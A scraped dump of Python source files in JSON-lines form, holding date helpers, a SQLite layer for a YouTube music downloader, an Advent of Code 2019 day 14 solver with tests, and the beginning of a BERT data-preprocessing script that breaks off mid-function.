datetime.datetime.min\n\nMAX_TD = datetime.timedelta.max\nMIN_TD = datetime.timedelta.min\n\n\ndef date2str(date, separator=None):\n if not isinstance(date, Date):\n raise ValueError(\"date must be datetime.date\")\n separator = separator if separator else \"\"\n style = separator.join([\"%Y\", \"%m\", \"%d\"])\n return date.strftime(style)\n\n\ndef date2dt(date):\n \"\"\"Convert datetime.date to datetime.datetime\"\"\"\n return DateTime.combine(date, Time.min)\n\n\ndef convert_date(date):\n \"\"\"转换多种日期类型为 datetime.date 类型\"\"\"\n if isinstance(date, __import__(\"pandas\").Timestamp):\n date = str(date)\n\n if isinstance(date, str):\n if ':' in date:\n date = date[:10]\n with suppress(ValueError):\n return Date(*map(int, date.split('-')))\n elif isinstance(date, datetime.datetime):\n return date.date()\n elif isinstance(date, datetime.date):\n return date\n raise ValueError(\"date must be datetime.date, datetime.datetime, \"\n \"pandas.Timestamp or as '2015-01-05'\")\n\n\ndef convert_dt(dt):\n \"\"\"Convert anything to datetime.datetime\"\"\"\n if isinstance(dt, str):\n with suppress(ValueError):\n return DateTime(*map(int, re.split(r\"\\W+\", dt)))\n elif isinstance(dt, DateTime):\n return dt\n elif isinstance(dt, Date):\n return date2dt(dt)\n raise ValueError(\"dt must be datetime.date, datetime.datetime or \"\n \"as '2015-01-05 12:00:00'\")\n\n\ndef parse_date(s):\n \"\"\"解析日期为 datetime.date 类型\"\"\"\n if isinstance(s, datetime.datetime):\n return s.date()\n if isinstance(s, datetime.date):\n return s\n if isinstance(s, str):\n if '-' in s:\n return datetime.datetime.strptime(s, \"%Y-%m-%d\").date()\n else:\n return datetime.datetime.strptime(s, \"%Y%m%d\").date()\n if isinstance(s, int):\n return datetime.date(year=s // 10000,\n month=(s // 100) % 100,\n day=s % 100)\n raise ValueError(\"Unknown {} for parse_date.\".format(s))\n\n\ndef convert_timestamp(dt):\n dt = convert_dt(dt)\n return dt.timestamp()\n","repo_name":"kuanghy/zh-ancient-texts","sub_path":"fetchpro/fetchpro/utils/when.py","file_name":"when.py","file_ext":"py","file_size_in_byte":2498,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"67"} +{"seq_id":"7070857682","text":"import sqlite3\n\ndatabase = './src/ytMusicDownloader.db'\n\n\nclass Database:\n @staticmethod\n def connect():\n conn = sqlite3.connect(database)\n # Convert data format to json\n conn.row_factory = Database.dict_factory\n return conn\n\n @staticmethod\n def close(conn):\n # Save (commit) the changes\n conn.commit()\n # We can also close the connection if we are done with it.\n # Just be sure any changes have been committed or they will be lost.\n conn.close()\n\n @staticmethod\n def dict_factory(cursor, row):\n d = {}\n for idx, col in enumerate(cursor.description):\n d[col[0]] = row[idx]\n return d\n\n # Creates the database. Warning : this will override the existing database.\n @staticmethod\n def create():\n connection = Database.connect()\n c = connection.cursor()\n\n # Delete tables if exists\n Playlists.drop(c)\n Music.drop(c)\n PlaylistMusic.drop(c)\n NamingRules.drop(c)\n Channels.drop(c)\n\n # Create tables\n Playlists.create(c)\n Music.create(c)\n PlaylistMusic.create(c)\n NamingRules.create(c)\n Channels.create(c)\n\n Database.close(connection)\n\n @staticmethod\n def add_factory_entries():\n connection = Database.connect()\n c = connection.cursor()\n\n # Add Pegboard Nerds channel\n Channels.insert(c, \"Pegboard Nerds\", \" - \", \"false\")\n\n # Add naming rules\n # priority 1\n NamingRules.insert(c, \" / \", \" \", \"1\")\n NamingRules.insert(c, \" ‒ \", \" - \", \"1\")\n # priority 2\n NamingRules.insert(c, \" [NCS Release]\", \"\", \"2\")\n NamingRules.insert(c, \" [Monstercat Release]\", \"\", \"2\")\n NamingRules.insert(c, \" [Diversity Release]\", \"\", \"2\")\n NamingRules.insert(c, \" [NCS Official Video]\", \"\", \"2\")\n NamingRules.insert(c, \" [Monstercat FREE Release]\", \"\", \"2\")\n NamingRules.insert(c, \" [Monstercat Official Music Video]\", \"\", \"2\")\n NamingRules.insert(c, \" [Monstercat EP Release]\", \"\", \"2\")\n NamingRules.insert(c, \" [Tasty Release]\", \"\", \"2\")\n NamingRules.insert(c, \" | Diversity Release\", \"\", \"2\")\n NamingRules.insert(c, \" (Lyrics _ Lyric Video)\", \"\", \"2\")\n NamingRules.insert(c, \" | HQ Videoclip\", \"\", \"2\")\n NamingRules.insert(c, \" | Official Videoclip\", \"\", \"2\")\n NamingRules.insert(c, \" | Videoclip\", \"\", \"2\")\n NamingRules.insert(c, \" (Videoclip) ♦ Hardstyle ♦\", \"\", \"2\")\n NamingRules.insert(c, \" ♦ Hardstyle Remix (Videoclip) ♦\", \"\", \"2\")\n NamingRules.insert(c, \" [Videoclip]\", \"\", \"2\")\n NamingRules.insert(c, \" (Official Music Video)\", \"\", \"2\")\n NamingRules.insert(c, \" (Official Video Clip)\", \"\", \"2\")\n NamingRules.insert(c, \" (Official Videoclip)\", \"\", \"2\")\n NamingRules.insert(c, \" (Official Video)\", \"\", \"2\")\n NamingRules.insert(c, \" (Official Preview)\", \"\", \"2\")\n NamingRules.insert(c, \" (official music video)\", \"\", \"2\")\n NamingRules.insert(c, \" | Complexity Release\", \"\", \"2\")\n NamingRules.insert(c, \"[Audio]\", \"\", \"2\")\n NamingRules.insert(c, \"【𝙻𝚈𝚁𝙸𝙲𝚂】\", \"\", \"2\")\n NamingRules.insert(c, \"(Official Audio)\", \"\", \"2\")\n NamingRules.insert(c, \"\t(Lyrics)\", \"\", \"2\")\n # priority 3\n NamingRules.insert(c, \"♦ Hardstyle ♦\", \"(Hardstyle)\", \"3\")\n\n Database.close(connection)\n\n # Playlists --------------------------------------------------------------------------------------------------------\n\n @staticmethod\n def get_playlists():\n connection = Database.connect()\n c = connection.cursor()\n playlists = Playlists.select_all(c)\n Database.close(connection)\n return playlists\n\n @staticmethod\n def new_playlist(youtube_id, name, uploader):\n connection = Database.connect()\n c = connection.cursor()\n Playlists.insert(c, youtube_id, name, uploader)\n Database.close(connection)\n return \"Playlist added\"\n\n @staticmethod\n def get_playlist(id_playlist):\n connection = Database.connect()\n c = connection.cursor()\n playlist = Playlists.select(c, id_playlist)\n Database.close(connection)\n return playlist[0]\n\n @staticmethod\n def update_playlist(id_playlist, youtube_id, name, uploader):\n connection = Database.connect()\n c = connection.cursor()\n Playlists.update(c, id_playlist, youtube_id, name, uploader)\n Database.close(connection)\n return \"Playlist updated\"\n\n @staticmethod\n def delete_playlist(id_playlist):\n connection = Database.connect()\n c = connection.cursor()\n # Delete entry in Playlists table\n Playlists.delete(c, id_playlist)\n # Delete all entries in Playlist_Music table with id_playlist\n PlaylistMusic.delete_playlist(c, id_playlist)\n Database.close(connection)\n return \"Playlist removed\"\n\n @staticmethod\n def is_new_music_in_playlist(id_playlist, id_music):\n connection = Database.connect()\n c = connection.cursor()\n count = PlaylistMusic.count_playlist_music(c, id_playlist, id_music)[0]['COUNT(*)']\n Database.close(connection)\n if count == 0:\n return True\n else:\n return False\n\n @staticmethod\n # def new_music(id_playlist, id_music, name, title, artist, channel, upload_date):\n def add_music_in_playlist(id_music, id_playlist):\n connection = Database.connect()\n c = connection.cursor()\n PlaylistMusic.insert(c, id_playlist, id_music)\n Database.close(connection)\n return \"Music added to playlist\"\n\n # Music ------------------------------------------------------------------------------------------------------------\n\n @staticmethod\n # def new_music(id_playlist, id_music, name, title, artist, channel, upload_date):\n def new_music(id_music, name, title, artist, channel):\n connection = Database.connect()\n c = connection.cursor()\n # Music.insert(c, id_music, name, title, artist, channel, upload_date)\n try:\n Music.insert(c, id_music, name, title, artist, channel)\n except sqlite3.IntegrityError:\n print(\"Error : Cannot insert Music in database. The entry might already exist ?\")\n Database.close(connection)\n return \"Music added\"\n\n @staticmethod\n def update_music(id_music, title, artist, new):\n connection = Database.connect()\n c = connection.cursor()\n Music.update(c, id_music, title, artist, new)\n Database.close(connection)\n return \"Music updated\"\n\n @staticmethod\n def get_new_music():\n connection = Database.connect()\n c = connection.cursor()\n music = Music.select_new(c)\n Database.close(connection)\n return music\n\n @staticmethod\n def get_all_music():\n connection = Database.connect()\n c = connection.cursor()\n musics = Music.select_all(c)\n Database.close(connection)\n return musics\n\n @staticmethod\n def get_music(identifier):\n connection = Database.connect()\n c = connection.cursor()\n music = Music.select_music(c, identifier)\n Database.close(connection)\n return music[0]\n\n @staticmethod\n def get_music_playlists(id_music):\n connection = Database.connect()\n c = connection.cursor()\n playlists = PlaylistMusic.select_music(c, id_music)\n Database.close(connection)\n return playlists\n\n @staticmethod\n def is_new_music(id_music):\n connection = Database.connect()\n c = connection.cursor()\n count = Music.count_music(c, id_music)[0]['COUNT(*)']\n Database.close(connection)\n if count == 0:\n return True\n else:\n return False\n\n # Naming Rules -----------------------------------------------------------------------------------------------------\n\n @staticmethod\n def get_naming_rules():\n connection = Database.connect()\n c = connection.cursor()\n rules = NamingRules.select_all(c)\n Database.close(connection)\n return rules\n\n @staticmethod\n def new_naming_rule(replace, replace_by, priority):\n connection = Database.connect()\n c = connection.cursor()\n NamingRules.insert(c, replace, replace_by, priority)\n identifier = NamingRules.get_id_of_last_entry(c)\n Database.close(connection)\n return identifier[0]['id']\n\n @staticmethod\n def get_naming_rule(id_rule):\n connection = Database.connect()\n c = connection.cursor()\n rule = NamingRules.select(c, id_rule)\n Database.close(connection)\n return rule[0]\n\n @staticmethod\n def update_naming_rule(identifier, replace, replace_by, priority):\n connection = Database.connect()\n c = connection.cursor()\n NamingRules.update(c, identifier, replace, replace_by, priority)\n Database.close(connection)\n return \"Naming Rule updated\"\n\n @staticmethod\n def delete_naming_rule(identifier):\n connection = Database.connect()\n c = connection.cursor()\n NamingRules.delete(c, identifier)\n Database.close(connection)\n return \"Naming Rule removed\"\n\n # Channels ---------------------------------------------------------------------------------------------------------\n\n @staticmethod\n def get_channels():\n connection = Database.connect()\n c = connection.cursor()\n rules = Channels.select_all(c)\n Database.close(connection)\n return rules\n\n @staticmethod\n def new_channel(channel, separator, artist_before_title):\n connection = Database.connect()\n c = connection.cursor()\n Channels.insert(c, channel, separator, artist_before_title)\n Database.close(connection)\n return \"Channel added\"\n\n @staticmethod\n def get_channel(id_channel):\n connection = Database.connect()\n c = connection.cursor()\n channel = Channels.select_channel(c, id_channel)\n Database.close(connection)\n if len(channel) == 0:\n return id_channel\n else:\n return channel[0]\n\n @staticmethod\n def update_channel(identifier, separator, artist_before_title):\n connection = Database.connect()\n c = connection.cursor()\n Channels.update(c, identifier, separator, artist_before_title)\n Database.close(connection)\n return \"Channel updated\"\n\n @staticmethod\n def delete_channel(identifier):\n connection = Database.connect()\n c = connection.cursor()\n Channels.delete(c, identifier)\n Database.close(connection)\n return \"Channel removed\"\n\n\n# Requests -------------------------------------------------------------------------------------------------------------\n\n\nclass Playlists:\n @staticmethod\n def create(cursor):\n cursor.execute(\"CREATE TABLE Playlists (\"\n \"id INTEGER PRIMARY KEY AUTOINCREMENT, \"\n \"youtube_id text, \"\n \"name text, \"\n \"uploader text)\")\n\n @staticmethod\n def drop(cursor):\n cursor.execute(\"DROP TABLE IF EXISTS Playlists\")\n\n @staticmethod\n def select_all(cursor):\n cursor.execute(\"SELECT * FROM Playlists\")\n return cursor.fetchall()\n\n @staticmethod\n def select(cursor, identifier):\n cursor.execute(\"SELECT * FROM Playlists WHERE id = ?\", (identifier,))\n return cursor.fetchall()\n\n @staticmethod\n def insert(cursor, youtube_id, name, uploader):\n cursor.execute(\"INSERT INTO Playlists (youtube_id, name, uploader) VALUES (?, ?, ?)\",\n (youtube_id, name, uploader))\n\n @staticmethod\n def update(cursor, identifier, youtube_id, name, uploader):\n cursor.execute(\"UPDATE Playlists SET \"\n \"youtube_id = ?, \"\n \"name = ?, \"\n \"uploader = ? \"\n \"WHERE \"\n \"id = ?\",\n (youtube_id, name, uploader, identifier))\n\n @staticmethod\n def delete(cursor, identifier):\n cursor.execute(\"DELETE FROM Playlists WHERE id = ?\", (identifier,))\n\n\nclass Music:\n @staticmethod\n def create(cursor):\n cursor.execute(\"CREATE TABLE Music (id text PRIMARY KEY, \"\n # \"name text, title text, artist text, channel text, upload_date date, new integer)\")\n \"name text, title text, artist text, channel text, new integer)\")\n\n @staticmethod\n def drop(cursor):\n cursor.execute(\"DROP TABLE IF EXISTS Music\")\n\n @staticmethod\n def select_music(cursor, identifier):\n cursor.execute(\"SELECT * FROM Music WHERE id = ?\", (identifier,))\n return cursor.fetchall()\n\n @staticmethod\n def select_all(cursor):\n cursor.execute(\"SELECT * FROM Music\")\n return cursor.fetchall()\n\n @staticmethod\n def select_new(cursor):\n cursor.execute(\"SELECT * FROM Music WHERE new = 'true'\")\n return cursor.fetchall()\n\n @staticmethod\n # def insert(cursor, identifier, name, title, artist, channel, upload_date):\n def insert(cursor, identifier, name, title, artist, channel):\n cursor.execute(\"INSERT INTO Music VALUES (?, ?, ?, ?, ?, 'true')\",\n (identifier, name, title, artist, channel))\n\n @staticmethod\n def update(cursor, identifier, title, artist, new):\n cursor.execute(\"UPDATE Music SET \"\n \"title = ?, \"\n \"artist = ?, \"\n \"new = ? \"\n \"WHERE \"\n \"id = ?\",\n (title, artist, new, identifier))\n\n @staticmethod\n def delete(cursor, identifier):\n cursor.execute(\"DELETE FROM Music WHERE id = ?\", (identifier,))\n\n @staticmethod\n def count_music(cursor, identifier):\n cursor.execute(\"SELECT COUNT(*) FROM Music \"\n \"WHERE id = ?\", (identifier,))\n return cursor.fetchall()\n\n\nclass PlaylistMusic:\n @staticmethod\n def create(cursor):\n cursor.execute(\"CREATE TABLE Playlist_Music \"\n \"(id INTEGER PRIMARY KEY AUTOINCREMENT, id_playlist text, id_music text)\")\n\n @staticmethod\n def drop(cursor):\n cursor.execute(\"DROP TABLE IF EXISTS Playlist_Music\")\n\n @staticmethod\n def select_playlist(cursor, id_playlist):\n cursor.execute(\"SELECT * FROM Playlist_Music WHERE id_playlist = ?\", (id_playlist,))\n return cursor.fetchall()\n\n @staticmethod\n def select_music(cursor, id_music):\n cursor.execute(\"SELECT * FROM Playlist_Music WHERE id_music = ?\", (id_music,))\n return cursor.fetchall()\n\n @staticmethod\n def count_playlist_music(cursor, id_playlist, id_music):\n cursor.execute(\"SELECT COUNT(*) FROM Playlist_Music \"\n \"WHERE id_playlist = ? AND id_music = ?\", (id_playlist, id_music))\n return cursor.fetchall()\n\n @staticmethod\n def insert(cursor, id_playlist, id_music):\n cursor.execute(\"INSERT INTO Playlist_Music (id_playlist, id_music) \"\n \"VALUES (?, ?)\", (id_playlist, id_music))\n\n @staticmethod\n def delete_playlist(cursor, id_playlist):\n cursor.execute(\"DELETE FROM Playlist_Music WHERE id_playlist = ?\", (id_playlist,))\n\n\nclass Channels:\n @staticmethod\n def create(cursor):\n cursor.execute(\"CREATE TABLE Channels (channel text PRIMARY KEY, separator text, artist_before_title integer)\")\n\n @staticmethod\n def drop(cursor):\n cursor.execute(\"DROP TABLE IF EXISTS Channels\")\n\n @staticmethod\n def select_all(cursor):\n cursor.execute(\"SELECT * FROM Channels\")\n return cursor.fetchall()\n\n @staticmethod\n def select_channel(cursor, channel):\n cursor.execute(\"SELECT * FROM Channels WHERE channel = ?\", (channel,))\n return cursor.fetchall()\n\n @staticmethod\n def insert(cursor, channel, separator, artist_before_title):\n cursor.execute(\"INSERT INTO Channels VALUES (?, ?, ?)\",\n (channel, separator, artist_before_title))\n\n @staticmethod\n def update(cursor, channel, separator, artist_before_title):\n cursor.execute(\"UPDATE Channels SET \"\n \"separator = ?, \"\n \"artist_before_title = ? \"\n \"WHERE \"\n \"channel = ?\",\n (separator, artist_before_title, channel))\n\n @staticmethod\n def delete(cursor, identifier):\n cursor.execute(\"DELETE FROM Channels WHERE channel = ?\", (identifier,))\n\n\nclass NamingRules:\n @staticmethod\n def create(cursor):\n cursor.execute(\"CREATE TABLE NamingRules \"\n \"(id INTEGER PRIMARY KEY AUTOINCREMENT, replace text, replace_by text, priority integer)\")\n\n @staticmethod\n def drop(cursor):\n cursor.execute(\"DROP TABLE IF EXISTS NamingRules\")\n\n @staticmethod\n def select_all(cursor):\n cursor.execute(\"SELECT * FROM NamingRules ORDER BY priority\")\n return cursor.fetchall()\n\n @staticmethod\n def select(cursor, identifier):\n cursor.execute(\"SELECT * FROM NamingRules WHERE id = ?\", (identifier,))\n return cursor.fetchall()\n\n @staticmethod\n def insert(cursor, replace, replace_by, priority):\n cursor.execute(\"INSERT INTO NamingRules (replace, replace_by, priority) \"\n \"VALUES (?, ?, ?)\", (replace, replace_by, priority))\n\n @staticmethod\n def get_id_of_last_entry(cursor):\n cursor.execute(\"SELECT id FROM NamingRules ORDER BY id DESC LIMIT 1\")\n return cursor.fetchall()\n\n @staticmethod\n def update(cursor, identifier, replace, replace_by, priority):\n cursor.execute(\"UPDATE NamingRules SET \"\n \"replace = ?, \"\n \"replace_by = ?, \"\n \"priority = ? \"\n \"WHERE \"\n \"id = ?\",\n (replace, replace_by, priority, identifier))\n\n @staticmethod\n def delete(cursor, identifier):\n cursor.execute(\"DELETE FROM NamingRules WHERE id = ?\", (identifier,))\n","repo_name":"hQamonky/YtMusicDownloader","sub_path":"src/database/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":18414,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"16653355837","text":"import unittest\n\nfrom math import ceil\nfrom typing import Any, Dict, Iterable, List, Set, Tuple\n\nfrom common import fixture\n\n\nclass Component:\n \"\"\"\n Component describes a substance and its coefficient.\n \"\"\"\n\n def __init__(self, substance: str, coefficient: int = 1) -> None:\n assert substance\n assert coefficient > 0\n self.substance = substance\n self.coefficient = coefficient\n\n def __str__(self) -> str:\n if self.coefficient == 1:\n return self.substance\n return f\"{self.coefficient}{self.substance}\"\n\n @classmethod\n def from_str(cls, s: str) -> \"Component\":\n coefficient, substance = s.split(\" \")\n return Component(substance=substance.strip(), coefficient=int(coefficient))\n\n\nclass Expression:\n \"\"\"\n Expression describes a list of reactant or product components.\n \"\"\"\n\n def __init__(self, components: Iterable[Component]) -> None:\n self.components = [\n component for component in components if component.coefficient\n ]\n\n def __contains__(self, substance: str) -> bool:\n return any(component.substance == substance for component in self.components)\n\n def __getitem__(self, substance: str) -> Component:\n for component in self.components:\n if component.substance == substance:\n return component\n raise KeyError(substance)\n\n def __mul__(self, n: Any) -> \"Expression\":\n if not isinstance(n, int):\n return NotImplemented\n return Expression(\n components=[\n Component(component.substance, component.coefficient * n)\n for component in self.components\n ]\n )\n\n def __str__(self) -> str:\n return \" + \".join(str(component) for component in self.components)\n\n @classmethod\n def from_str(cls, s: str) -> \"Expression\":\n components = s.split(\", \")\n return Expression(\n components=[Component.from_str(component) for component in components]\n )\n\n\nclass Reaction:\n \"\"\"\n Reaction describes the reactants and products of a possible reaction.\n \"\"\"\n\n def __init__(self, reactants: Expression, products: Expression) -> None:\n self.reactants = reactants\n self.products = products\n\n def __mul__(self, n: Any) -> \"Reaction\":\n if not isinstance(n, int):\n return NotImplemented\n return Reaction(\n reactants=self.reactants * n,\n products=self.products * n,\n )\n\n def __str__(self) -> str:\n return f\"{self.reactants} → {self.products}\"\n\n @property\n def is_composition(self) -> bool:\n return len(self.products.components) == 1\n\n @classmethod\n def from_str(cls, s: str) -> \"Reaction\":\n reactants, products = s.split(\" => \")\n return Reaction(\n reactants=Expression.from_str(reactants),\n products=Expression.from_str(products),\n )\n\n\nclass CompositionTable:\n \"\"\"\n Container for reactions that produce a single substance, indexed by the product.\n \"\"\"\n\n def __init__(self, reactions: Iterable[Reaction]) -> None:\n for reaction in reactions:\n assert reaction.is_composition\n self.reactions = {\n reaction.products.components[0].substance: reaction\n for reaction in reactions\n }\n\n def __contains__(self, product: str) -> bool:\n return product in self.reactions\n\n def __getitem__(self, product: str) -> Reaction:\n return self.reactions[product]\n\n def __str__(self) -> str:\n return \"\\n\".join([str(reaction) for reaction in self.reactions.values()])\n\n @classmethod\n def from_str(cls, s: str) -> \"CompositionTable\":\n return CompositionTable(\n reactions=[Reaction.from_str(line) for line in s.splitlines()]\n )\n\n @classmethod\n def from_file(cls, name: str) -> \"CompositionTable\":\n with open(name, \"r\") as fp:\n return CompositionTable.from_str(fp.read())\n\n\ndef incr(v: Dict[str, int], key: str, n: int) -> None:\n if key in v:\n v[key] += n\n else:\n v[key] = n\n\n\ndef decr(v: Dict[str, int], key: str, n: int) -> None:\n incr(v, key, -n)\n\n\ndef expand(reaction: Reaction, compositions: CompositionTable) -> Reaction:\n \"\"\"\n Expand a reaction as much as possible given the synthesis reactions for its reactants.\n \"\"\"\n final_reactants: Dict[str, int] = {}\n final_products: Dict[str, int] = {\n component.substance: component.coefficient\n for component in reaction.products.components\n }\n\n # queue all reactants to be expanded\n reactants: Dict[str, int] = {\n component.substance: component.coefficient\n for component in reaction.reactants.components\n }\n while sum(reactants.values()):\n for substance, coefficient in reactants.items():\n if coefficient == 0:\n # we don't need any more of this substance\n continue\n\n if substance not in compositions:\n # we cannot expand this reactant any further\n incr(final_reactants, substance, coefficient)\n decr(reactants, substance, coefficient)\n continue\n\n # how many batches do we need of this reactant recipe?\n formula = compositions[substance]\n batch_size = formula.products.components[0].coefficient\n batch_count = ceil(coefficient / batch_size)\n\n # enqueue subcomponents to reactant list\n for reactant in formula.reactants.components:\n needed = reactant.coefficient * batch_count\n if reactant.substance in final_products:\n # steal from previous byproducts\n available = final_products[reactant.substance]\n taken = min(needed, available)\n needed -= taken\n decr(final_products, reactant.substance, taken)\n incr(reactants, reactant.substance, needed)\n\n # add excess from the batch to the product list\n output = batch_size * batch_count\n excess = output - coefficient\n incr(final_products, substance, excess)\n\n # remove the decomposed reactant from reactant list\n decr(reactants, substance, output - excess)\n assert reactants[substance] == 0\n\n # start again since dict may have been modified\n break\n\n # return expanded reaction\n return Reaction(\n reactants=Expression(\n components=[\n Component(substance=substance, coefficient=coefficient)\n for substance, coefficient in final_reactants.items()\n if coefficient\n ]\n ),\n products=Expression(\n components=[\n Component(substance=substance, coefficient=coefficient)\n for substance, coefficient in final_products.items()\n if coefficient\n ]\n ),\n )\n\n\ndef compute_ore_consumed(compositions: CompositionTable, fuel: int = 1) -> int:\n \"\"\"\n Compute ORE required to produce 1x FUEL.\n \"\"\"\n reaction = compositions[\"FUEL\"] * fuel\n reaction = expand(reaction, compositions)\n for reactant in reaction.reactants.components:\n if reactant.substance == \"ORE\":\n return reactant.coefficient\n raise RuntimeError(\"No ORE?\")\n\n\ndef compute_fuel_yield(compositions: CompositionTable, max_ore: int) -> int:\n \"\"\"\n Compute the maximum FUEL yield given max_ore.\n\n Binary search from [min_fuel, min_fuel * 2)\n \"\"\"\n ore_per_fuel = compute_ore_consumed(compositions)\n min_fuel = int(max_ore / ore_per_fuel)\n max_fuel = min_fuel * 2\n while min_fuel < max_fuel - 1:\n n = min_fuel + int((max_fuel - min_fuel) / 2)\n ore = compute_ore_consumed(compositions, fuel=n)\n if ore == max_ore:\n return n\n if ore < max_ore:\n min_fuel = n\n if ore > max_ore:\n max_fuel = n\n return min_fuel\n\n\nclass TestDay14(unittest.TestCase):\n def test_part1_example1(self):\n compositions = CompositionTable.from_str(\n \"10 ORE => 10 A\\n\"\n \"1 ORE => 1 B\\n\"\n \"7 A, 1 B => 1 C\\n\"\n \"7 A, 1 C => 1 D\\n\"\n \"7 A, 1 D => 1 E\\n\"\n \"7 A, 1 E => 1 FUEL\\n\"\n )\n self.assertEqual(compute_ore_consumed(compositions), 31)\n\n def test_part1_example2(self):\n compositions = CompositionTable.from_str(\n \"9 ORE => 2 A\\n\"\n \"8 ORE => 3 B\\n\"\n \"7 ORE => 5 C\\n\"\n \"3 A, 4 B => 1 AB\\n\"\n \"5 B, 7 C => 1 BC\\n\"\n \"4 C, 1 A => 1 CA\\n\"\n \"2 AB, 3 BC, 4 CA => 1 FUEL\\n\"\n )\n self.assertEqual(compute_ore_consumed(compositions), 165)\n\n def test_part1_example3(self):\n compositions = CompositionTable.from_str(\n \"157 ORE => 5 NZVS\\n\"\n \"165 ORE => 6 DCFZ\\n\"\n \"44 XJWVT, 5 KHKGT, 1 QDVJ, 29 NZVS, 9 GPVTF, 48 HKGWZ => 1 FUEL\\n\"\n \"12 HKGWZ, 1 GPVTF, 8 PSHF => 9 QDVJ\\n\"\n \"179 ORE => 7 PSHF\\n\"\n \"177 ORE => 5 HKGWZ\\n\"\n \"7 DCFZ, 7 PSHF => 2 XJWVT\\n\"\n \"165 ORE => 2 GPVTF\\n\"\n \"3 DCFZ, 7 NZVS, 5 HKGWZ, 10 PSHF => 8 KHKGT\\n\"\n )\n self.assertEqual(compute_ore_consumed(compositions), 13312)\n\n def test_part1_example4(self):\n compositions = CompositionTable.from_str(\n \"2 VPVL, 7 FWMGM, 2 CXFTF, 11 MNCFX => 1 STKFG\\n\"\n \"17 NVRVD, 3 JNWZP => 8 VPVL\\n\"\n \"53 STKFG, 6 MNCFX, 46 VJHF, 81 HVMC, 68 CXFTF, 25 GNMV => 1 FUEL\\n\"\n \"22 VJHF, 37 MNCFX => 5 FWMGM\\n\"\n \"139 ORE => 4 NVRVD\\n\"\n \"144 ORE => 7 JNWZP\\n\"\n \"5 MNCFX, 7 RFSQX, 2 FWMGM, 2 VPVL, 19 CXFTF => 3 HVMC\\n\"\n \"5 VJHF, 7 MNCFX, 9 VPVL, 37 CXFTF => 6 GNMV\\n\"\n \"145 ORE => 6 MNCFX\\n\"\n \"1 NVRVD => 8 CXFTF\\n\"\n \"1 VJHF, 6 MNCFX => 4 RFSQX\\n\"\n \"176 ORE => 6 VJHF\\n\"\n )\n self.assertEqual(compute_ore_consumed(compositions), 180697)\n\n def test_part1_example5(self):\n compositions = CompositionTable.from_str(\n \"171 ORE => 8 CNZTR\\n\"\n \"7 ZLQW, 3 BMBT, 9 XCVML, 26 XMNCP, 1 WPTQ, 2 MZWV, 1 RJRHP => 4 PLWSL\\n\"\n \"114 ORE => 4 BHXH\\n\"\n \"14 VRPVC => 6 BMBT\\n\"\n \"6 BHXH, 18 KTJDG, 12 WPTQ, 7 PLWSL, 31 FHTLT, 37 ZDVW => 1 FUEL\\n\"\n \"6 WPTQ, 2 BMBT, 8 ZLQW, 18 KTJDG, 1 XMNCP, 6 MZWV, 1 RJRHP => 6 FHTLT\\n\"\n \"15 XDBXC, 2 LTCX, 1 VRPVC => 6 ZLQW\\n\"\n \"13 WPTQ, 10 LTCX, 3 RJRHP, 14 XMNCP, 2 MZWV, 1 ZLQW => 1 ZDVW\\n\"\n \"5 BMBT => 4 WPTQ\\n\"\n \"189 ORE => 9 KTJDG\\n\"\n \"1 MZWV, 17 XDBXC, 3 XCVML => 2 XMNCP\\n\"\n \"12 VRPVC, 27 CNZTR => 2 XDBXC\\n\"\n \"15 KTJDG, 12 BHXH => 5 XCVML\\n\"\n \"3 BHXH, 2 VRPVC => 7 MZWV\\n\"\n \"121 ORE => 7 VRPVC\\n\"\n \"7 XCVML => 6 RJRHP\\n\"\n \"5 BHXH, 4 VRPVC => 5 LTCX\\n\"\n )\n self.assertEqual(compute_ore_consumed(compositions), 2210736)\n\n def test_part1(self):\n compositions = CompositionTable.from_file(fixture(\"day14\"))\n self.assertEqual(compute_ore_consumed(compositions), 365768)\n\n def test_part2(self):\n compositions = CompositionTable.from_file(fixture(\"day14\"))\n self.assertEqual(compute_fuel_yield(compositions, 1000000000000), 3756877)\n","repo_name":"cavaliercoder/Advent-of-Code","sub_path":"python/2019/day14.py","file_name":"day14.py","file_ext":"py","file_size_in_byte":11551,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"35926735087","text":"import json\nfrom settings import *\nfrom transformers import BertTokenizer\nfrom preprocess.data_process import randomize, train_val_split, multi_train_val_split\nfrom preprocess.process_utils import *\nimport torch\nimport pickle\nimport random\nimport torch.nn.functional as F\nfrom itertools import chain\n\n\ndef read_file(filepath=train_file_path):\n \"\"\"\n 简单读取文件并转化为list\n :param filepath:\n :return:\n \"\"\"\n return list(map(json.loads, open(filepath, 'r', encoding='utf-8').read().strip().split('\\n')))\n\n\ndef simple_batchify(train_sentences, train_types, gts, train_syntactic_features):\n train_sentences_batch, train_types_batch, train_gts_batch, train_syntactic_batch = [], [], [], []\n temp_sent, temp_typ, temp_gt_starts, temp_gt_ends, temp_syntactic_segment, temp_syntactic_postag, temp_syntactic_ner\\\n = [], [], [], [], [], [], []\n temp_synctactic_l, temp_syntactic_combine = [], []\n for i, sentence in enumerate(train_sentences):\n temp_sent.append(sentence)\n temp_typ.append(train_types[i])\n temp_gt_starts.append(gts[i][0])\n temp_gt_ends.append(gts[i][1])\n temp_syntactic_segment.append(train_syntactic_features[i][0])\n temp_syntactic_postag.append(train_syntactic_features[i][1])\n temp_syntactic_ner.append(train_syntactic_features[i][2])\n temp_synctactic_l.append(temp_syntactic_segment[-1].size()[0])\n if len(temp_sent) % sentence_representation_bsz == 0:\n train_sentences_batch.append(temp_sent)\n train_types_batch.append(temp_typ)\n # batchify tensors is different\n # pad zero to align them\n max_l = max(list(map(len, temp_gt_starts)))\n for k in range(len(temp_gt_starts)):\n temp_gt_starts[k] = F.pad(temp_gt_starts[k], [0, max_l - len(temp_gt_starts[k])])\n temp_gt_ends[k] = F.pad(temp_gt_ends[k], [0, max_l - len(temp_gt_ends[k])])\n gt_starts, gt_ends = torch.stack(temp_gt_starts), torch.stack(temp_gt_ends)\n train_gts_batch.append([gt_starts, gt_ends]) # both (bsz, seq_l)\n # pad syntactic features\n # pad [0] on segment feature, and pad [[0, 0, ..., 1], ] on postag and ner todo WHY?\n max_l = max(temp_synctactic_l)\n for s_i in range(len(temp_syntactic_segment)):\n pad_l = max_l - temp_syntactic_segment[s_i].size()[0]\n if pad_l == 0:\n continue\n pad_tensor = torch.zeros(pad_l, 1)\n 